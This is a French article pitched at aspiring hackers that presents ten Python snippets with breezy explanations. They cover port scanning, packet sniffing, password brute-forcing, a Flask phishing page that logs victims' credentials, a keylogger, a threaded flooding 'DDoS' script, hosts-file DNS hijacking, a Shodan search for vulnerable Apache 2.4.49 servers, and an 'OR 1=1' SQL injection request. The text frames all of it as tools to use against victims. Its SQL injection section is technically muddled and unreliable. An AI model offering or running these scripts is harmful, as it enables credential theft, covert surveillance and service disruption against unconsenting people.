Les 10 codes Python indispensables pour devenir un hacker

Voici 10 codes qui te seront utiles pour devenir un hacker

Scanner de Ports

Un bon hacker commence toujours par connaître sa cible. Le scanner de ports est ton premier pas. C’est comme sonner à toutes les portes pour voir laquelle est ouverte.

import socket

def scan_port(ip, port):
    scanner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    scanner.settimeout(1)
    try:
        scanner.connect((ip, port))
        return True
    except:
        return False

Le code utilise le module socket de Python pour essayer d’établir une connexion sur un port spécifique d’une adresse IP donnée (que tu peux aussi localiser avec Python). Si la connexion réussit, cela signifie que le port est ouvert et pourrait être une entrée potentielle pour d’autres explorations ou actions. Si la connexion échoue, le port est fermé ou filtré, donc moins intéressant pour nous.

En gros, c’est un outil essentiel pour les hackers et les professionnels de la sécurité informatique. C’est comme faire du repérage avant de planifier quoi que ce soit. Tu sais, connaître ton terrain de jeu avant de commencer la partie.

Sniffer de Réseau

Pour écouter ce qui se passe, un sniffer de réseau est indispensable. Il te permet de capturer des paquets de données pour voir ce qui se trame.

import socket
import os

def sniff():
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
    s.bind((socket.gethostname(), 0))
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

    while True:
        data = s.recvfrom(65565)
        print(data)

Explication du sniffer

1. Initialisation du Socket : Le code crée un socket brut en utilisant socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP). Ce type de socket permet de capturer tous les paquets transitant par l’interface réseau, sans filtrage.
2. Liaison au Host : Ensuite, il lie ce socket à l’adresse du host courant (socket.gethostname()) sur n’importe quel port disponible (d’où le 0).
3. Configuration du Socket : La ligne s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) configure le socket pour inclure les en-têtes IP dans les paquets capturés.
4. Activation du Mode de Capture : s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) met le socket en mode de réception de tous les paquets (pas seulement ceux destinés à ton host).
5. Boucle de Capture : Enfin, une boucle infinie (while True) écoute le réseau et imprime les données de chaque paquet capturé. C’est là que le sniffer « sniffe » les paquets, en quelque sorte.

Attaque par Brute Force

La patience est une vertu, surtout pour un hacker. Un script de brute force teste toutes les combinaisons possibles pour craquer un mot de passe.

import itertools
import string

def brute_force(max_length):
    chars = string.ascii_letters + string.digits
    for length in range(1, max_length + 1):
        for attempt in itertools.product(chars, repeat=length):
            yield ''.join(attempt)

Explication sur la méthode de bruteforce

1. Importation des Modules : On commence par importer itertools et string. Ces modules aident à générer toutes les combinaisons possibles de caractères.
2. Fonction Brute Force : La fonction brute_force prend un argument max_length, qui détermine la longueur maximale des mots de passe à tester.
3. Génération des Combinaisons : chars = string.ascii_letters + string.digits crée une liste de caractères possibles (lettres majuscules et minuscules, et chiffres).
4. Itération sur les Longueurs et les Combinaisons : Les boucles imbriquées génèrent toutes les combinaisons possibles de ces caractères. Pour chaque longueur possible (de 1 à max_length), on utilise itertools.product pour créer chaque combinaison unique.
5. Yield des Combinaisons : yield ''.join(attempt) renvoie chaque combinaison générée. En Python, yield crée un générateur, une sorte de liste paresseuse qui ne calcule les valeurs qu’à la demande.

Script de Phishing

Le phishing, c’est l’art de la supercherie. Créer une fausse page pour récolter des données, c’est du classique mais toujours efficace.

from flask import Flask, request

app = Flask(__name__)

@app.route('/fake-login', methods=['GET', 'POST'])
def fake_login():
    if request.method == 'POST':
        user = request.form['username']
        pwd = request.form['password']
        print(f"Username: {user}, Password: {pwd}")
    return "Fake login page"

if __name__ == '__main__':
    app.run(debug=True)

Fonctionnement du script

1. Mise en Place avec Flask : On démarre avec Flask, le couteau suisse du développeur web en Python. On crée une app Flask – c’est notre terrain de jeu.
2. La Route Malicieuse :
   • @app.route('/fake-login', methods=['GET', 'POST']) : Cette ligne, c’est comme placer un piège. On définit une fausse route, /fake-login, qui réagit aux clics innocents des victimes.
3. La Façade de Connexion :
   • La fonction fake_login() se déclenche quand un visiteur atterrit sur /fake-login. Si c’est juste pour voir (GET), il ne se passe rien de spécial. Mais si c’est un POST, aïe aïe aïe, quelqu’un vient de mordre à l’hameçon !
4. Récupération des Identifiants :
   • On extrait le nom d’utilisateur et le mot de passe avec request.form['username'] et request.form['password']. C’est comme pêcher dans un baril !
   • Et hop, on affiche ces précieuses infos directement dans la console. C’est malin, mais sacrément sournois !
5. En Action :
   • Si tu lances ce script (app.run(debug=True)), ton piège est armé. Il ne te reste plus qu’à attendre que les victimes se jettent dans la gueule du loup.

Injection SQL

La vieille école, mais toujours aussi puissante. L’injection SQL permet de manipuler une base de données via des entrées vulnérables.

import sqlite3

def sql_injection(query):
    db = sqlite3.connect('database.db')
    cursor = db.cursor()
    cursor.execute(query)
    for row in cursor.fetchall():
        print(row)

La base de l’injection SQL

1. Connexion à la Base de Données : sqlite3.connect('database.db'), c’est comme avoir les clés du royaume. On se connecte discrètement à la base de données.
2. Le Maestro au Travail : Avec cursor = db.cursor(), on tient la baguette magique pour diriger la base de données.
3. L’Attaque Furtive : cursor.execute(query). Ici, on injecte notre sortilège SQL. Si query contient un petit quelque chose de malicieux, on peut faire des miracles ou des catastrophes, selon le point de vue.
4. Récolte des Résultats : On récupère les fruits de notre labeur avec cursor.fetchall(). Chaque ligne retournée, c’est un trésor dérobé.

Script Keylogger

Savoir ce que tape ta cible, c’est comme lire dans ses pensées. Un keylogger enregistre discrètement chaque frappe sur un clavier.

from pynput.keyboard import Key, Listener

def on_press(key):
    with open('log.txt', 'a') as log:
        log.write(f'{key} ')

with Listener(on_press=on_press) as listener:
    listener.join()

Explication sur l’enregistrement des frappes au clavier

1. Mise en Place de l’Espionnage : On importe Key et Listener de pynput.keyboard. Ce qui te servira d’espion pour capturer les touches du clavier.
2. Le Guetteur : La fonction on_press(key) est l’oreille qui écoute. À chaque fois que quelqu’un appuie sur une touche, elle capture l’événement.
3. Enregistrement en Douce : Avec open('log.txt', 'a') as log, on ouvre discrètement un fichier pour noter tout ce qu’on entend. Chaque frappe est enregistrée dans log.txt – c’est notre carnet secret.
4. L’Espion en Action : La dernière partie, with Listener(on_press=on_press) as listener: listener.join(), c’est comme activer notre espion. Il se met en position et commence son travail d’écoute.

DDoS Attack

Le DDoS, c’est l’art de saturer un service. Pas très subtil, mais diablement efficace pour mettre hors service un site ou un serveur.

import threading
import socket

target = '127.0.0.1'
port = 80
fake_ip = '182.21.20.32'

def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.close()

for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()

Utilisation de socket dans les attaques bruteforce

1. Préparation de l’Attaque : On importe threading et socket pour créer une armée de petits robots. target et port définissent la cible.
2. L’Attaquant : La fonction attack() est le cœur de notre armée. Elle crée une connexion à la cible et envoie une requête HTTP. C’est comme frapper à la porte de quelqu’un, encore et encore.
3. Multiplication des Attaques : Avec for i in range(500):, on clone notre attaquant 500 fois grâce à threading.Thread. C’est une horde de petits monstres qui frappent tous ensemble.
4. Lancement de l’Offensive : thread.start() donne le signal. L’attaque commence, et chaque thread essaie de submerger la cible.

Détournement de DNS

Manipuler le DNS, c’est l’art de faire croire à ton système qu’une adresse web mène quelque part, alors qu’en fait, tu l’envoies sur une route totalement différente. Tu modifies le fichier hosts ou tu joues avec les réponses DNS pour rediriger les requêtes vers un serveur contrôlé par toi.

C’est rusé, c’est sournois, et ça peut être sacrément efficace pour piéger les données ou créer une fausse façade. Cependant, je n’ai pas de code à te donner car ça implique souvent des manipulations de réseau plus complexes.

import os

def hijack_dns(target_website, fake_ip):
    # Cette fonction est purement hypothétique et simplifiée
    # Modifier le fichier hosts pour rediriger un site vers un autre IP
    with open("/etc/hosts", 'a') as file:
        file.write(f"{fake_ip} {target_website}\n")

hijack_dns("www.exemple.com", "192.168.1.100")

Script simple de détournement de DNS

1. Importation d’OS : On utilise import os pour manipuler le fichier système.
2. Fonction de Détournement de DNS :
   • La fonction hijack_dns(target_website, fake_ip) prend deux arguments : le site web cible (target_website) et l’adresse IP de redirection (fake_ip).
   • Ensuite, on ouvre le fichier /etc/hosts en mode append ('a') pour ajouter une nouvelle ligne.
3. Écriture dans le Fichier Hosts :
   • file.write(f"{fake_ip} {target_website}\n") ajoute une ligne au fichier hosts. Chaque fois qu’une requête est faite vers target_website, elle sera redirigée vers fake_ip.
4. Exécution de la Fonction :
   • hijack_dns("www.exemple.com", "192.168.1.100") détourne toutes les requêtes de www.exemple.com vers l’IP 192.168.1.100.

Analyse de vulnérabilités avec wpscan (pour les sites WordPress)

WPScan, c’est cet as de la détection, spécialisé dans les secrets et les failles de sécurité de WordPress. Avec sa loupe numérique, il fouille dans les recoins de ton site pour trouver les failles, les vieux plugins, et les portes dérobées que les méchants pourraient utiliser pour s’infiltrer.

Comment ça Marche ?

WPScan a un nez fin pour les problèmes. Il sniffe ton site et compare ce qu’il trouve avec sa grosse base de données de vulnérabilités connues. Il vérifie si tu utilises une vieille version de WordPress, si tes plugins et thèmes sont à jour et sécurisés, et il jette même un œil aux utilisateurs pour voir si y’a pas un intrus. Pour lancer WPScan, tu dois d’abord l’installer, une fois fait, tu tapes la commande suivante :

wpscan --url tonsite.com

Remplace tonsite.com par l’URL de ton site WordPress. WPScan va se mettre au travail et te donner un rapport détaillé sur ce qu’il trouve.

WPScan, c’est pas juste un scanneur basique. Il a plus d’un tour dans sa besace :

• --enumerate u pour lister les utilisateurs, comme vérifier qui a les clés de ta maison.
• --enumerate p pour scanner les plugins, un peu comme vérifier que toutes tes serrures sont solides.
• --enumerate t pour examiner les thèmes, c’est comme s’assurer que toutes tes fenêtres sont bien fermées.

Lancer une Enquête Complète

Si tu veux que WPScan fouille partout, tu tapes :

wpscan --url tonsite.com --enumerate u,p,t,vp,vt

Là, il va te faire un topo complet, te montrant où tu dois renforcer ta sécurité, changer un verrou ou deux, et peut-être même virer un utilisateur louche.

Exploitation des Vulnérabilités

Une fois que tu sais où frapper, c’est l’heure de l’action. Utilise ou crée des exploits pour tirer parti des vulnérabilités découvertes.

Utilisation de l’API Shodan pour Trouver des Cibles

Utiliser Shodan, le moteur de recherche pour les appareils connectés à Internet, pour trouver des cibles potentielles avec des vulnérabilités spécifiques.

import shodan

SHODAN_API_KEY = "TA_CLÉ_API_ICI"
api = shodan.Shodan(SHODAN_API_KEY)

# Recherche pour des serveurs avec une version spécifique de logiciel vulnérable
try:
    results = api.search('apache 2.4.49')
    for result in results['matches']:
        print('IP: {}'.format(result['ip_str']))
except Exception as e:
    print('Erreur: {}'.format(e))

Explication du Code :

1. Configuration de Shodan : On commence par se connecter à l’API de Shodan avec notre clé API.
2. Recherche Ciblée : On cherche des serveurs utilisant une version spécifique d’un logiciel (ici, Apache 2.4.49, juste un exemple).
3. Analyse des Résultats : Pour chaque serveur trouvé, on récupère son adresse IP. C’est comme avoir une carte au trésor indiquant où sont les coffres à ouvrir.

Créer un script pour exploiter automatiquement une injection SQL sur un site vulnérable.

import requests

url_vulnérable = "http://example.com/vulnerable_page.php"
payload = {'id': '1 OR 1=1'}
response = requests.get(url_vulnérable, params=payload)

if "information sensible" in response.text:
    print("Vulnérabilité trouvée !")

Explication du Code :

1. Cibler le Site : On définit l’URL d’un site qu’on suspecte être vulnérable à l’injection SQL.
2. Préparer le Payload : On crée un payload SQL, ici '1 OR 1=1', une condition toujours vraie, pour tester la vulnérabilité.
3. Lancer l’Attaque : On envoie notre requête. Si le site est vulnérable, la réponse inclura des informations sensibles.